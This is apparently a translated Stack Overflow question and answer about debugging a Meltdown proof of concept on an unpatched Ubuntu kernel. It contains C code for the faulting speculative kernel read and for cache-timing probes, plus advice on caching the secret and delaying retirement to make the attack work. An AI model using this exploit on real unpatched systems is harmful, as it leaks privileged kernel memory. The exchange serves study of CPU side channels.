Ben*_*007 5 x86 exploit intel cpu-architecture linux-kernel
我正尝试在Intel Core-i5 4300M CPU 上使用未修补的内核4.8.0-36来利用Ubuntu 16.04的崩溃安全漏洞。
首先,我使用内核模块将秘密数据存储在内核空间中的某个地址:
static __init int initialize_proc(void){
char* key_val = "abcd";
printk("Secret data address = %p\n", key_val);
printk("Value at %p = %s\n", key_val, key_val);
}
Run Code Online (Sandbox Code Playgroud)
printk语句为我提供了机密数据的地址。
Mar 30 07:00:49 VM kernel: [62055.121882] Secret data address = fa2ef024
Mar 30 07:00:49 VM kernel: [62055.121883] Value at fa2ef024 = abcd
Run Code Online (Sandbox Code Playgroud)
然后,我尝试在此位置访问数据,并在下一条指令中使用它来缓存数组的元素。
Mar 30 07:00:49 VM kernel: [62055.121882] Secret data address = fa2ef024
Mar 30 07:00:49 VM kernel: [62055.121883] Value at fa2ef024 = abcd
Run Code Online (Sandbox Code Playgroud)
我期望CPU在执行乱序执行时继续前进并在索引(data * 4096 + DELTA)处缓存数组元素。此后,将执行边界检查并抛出SIGSEGV。我处理SIGSEGV,然后定时访问数组元素以确定已缓存的元素:
// Out of order execution
int meltdown(unsigned long kernel_addr){
char data = *(char*) kernel_addr; //Raises exception
array[data*4096+DELTA] += 10; // <----- Execute out of order
}
Run Code Online (Sandbox Code Playgroud)
由于数据中的值为'a',因此我期望结果为array [97 * 4096 + DELTA],因为'a'的ASCII值为97。
但是,这不起作用,我得到的是随机输出。
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[241*4096+DELTA]
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[78*4096+DELTA]
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[146*4096+DELTA]
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[115*4096+DELTA]
Run Code Online (Sandbox Code Playgroud)
我可能想到的可能原因是:
由于系统很容易崩溃,因此我确信排除了第二种可能性。
因此,我的问题是:为什么乱序执行在这里不起作用?是否有任何选项/标志可以“鼓励” CPU按顺序执行?
我已经尝试过的解决方案:
void attackChannel_x86(){
register uint64_t time1, time2;
volatile uint8_t *addr;
int min = 10000;
int temp, i, k;
for(i=0;i<256;i++){
time1 = __rdtscp(&temp); //timestamp before memory access
temp = array[i*4096 + DELTA];
time2 = __rdtscp(&temp) - time1; // change in timestamp after the access
if(time2<=min){
min = time2;
k=i;
}
}
printf("array[%d*4096+DELTA]\n", k);
}
Run Code Online (Sandbox Code Playgroud)
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[241*4096+DELTA]
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[78*4096+DELTA]
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[146*4096+DELTA]
~/.../MyImpl$ ./OutofOrderExecution
Memory Access Violation
array[115*4096+DELTA]
Run Code Online (Sandbox Code Playgroud)
void attackChannel(){
int i, k, temp;
uint64_t diff;
volatile uint8_t *addr;
double min = 10000000;
struct timespec start, end;
for(i=0;i<256;i++){
addr = &array[i*4096 + DELTA];
clock_gettime(CLOCK_MONOTONIC, &start);
temp = *addr;
clock_gettime(CLOCK_MONOTONIC, &end);
diff = end.tv_nsec - start.tv_nsec;
if(diff<=min){
min = diff;
k=i;
}
}
if(min<600)
printf("Accessed element : array[%d*4096+DELTA]\n", k);
}
Run Code Online (Sandbox Code Playgroud)
为了完整起见,我在下面附加主要功能和错误处理代码:
void meltdown_busy_loop(unsigned long kernel_addr){
char kernel_data;
asm volatile(
".rept 1000;"
"add $0x01, %%eax;"
".endr;"
:
:
:"eax"
);
kernel_data = *(char*)kernel_addr;
array[kernel_data*4096 + DELTA] +=10;
}
Run Code Online (Sandbox Code Playgroud)
我认为数据需要位于 L1d 中才能让 Meltdown 工作,并且尝试仅通过没有权限的 TLB/页表条目读取数据不会将其带入 L1d。
http://blog.stuffedcow.net/2018/05/meltdown-microarchitecture/
当发生任何类型的不良结果时(页面错误、从非推测性内存类型加载、页面访问位 = 0),没有处理器发起核外 L2 请求来获取数据。
除非我遗漏了什么,否则我认为只有当允许读取数据的东西将其带入 L1d 时,数据才容易受到 Meltdown 的影响。(直接或通过硬件预取。)我不认为重复的 Meltdown 攻击可以将 RAM 中的数据带入 L1d。
尝试在模块中添加一个系统调用或其他用于使用您READ_ONCE()的秘密数据的内容(或者手动编写*(volatile int*)&data;或只是制作它volatile,以便您可以轻松地触摸它),以将其从具有该 PTE 权限的上下文中带入缓存。
另外:add $0x01, %%eax延迟退休是一个糟糕的选择。每个 uop 只有 1 个时钟周期的延迟,因此 OoO exec 从 ADD 后的第一条指令进入调度程序 (RS) 并运行开始,在它咀嚼添加和故障负载到达退休之前,只有大约 64 个周期。
至少使用imul(3c 延迟),或者更好地使用xorps %xmm0,%xmm0/重复sqrtpd %xmm0,%xmm0(Haswell 上的单个 uop、16 个周期延迟。) https://agner.org/optimize/。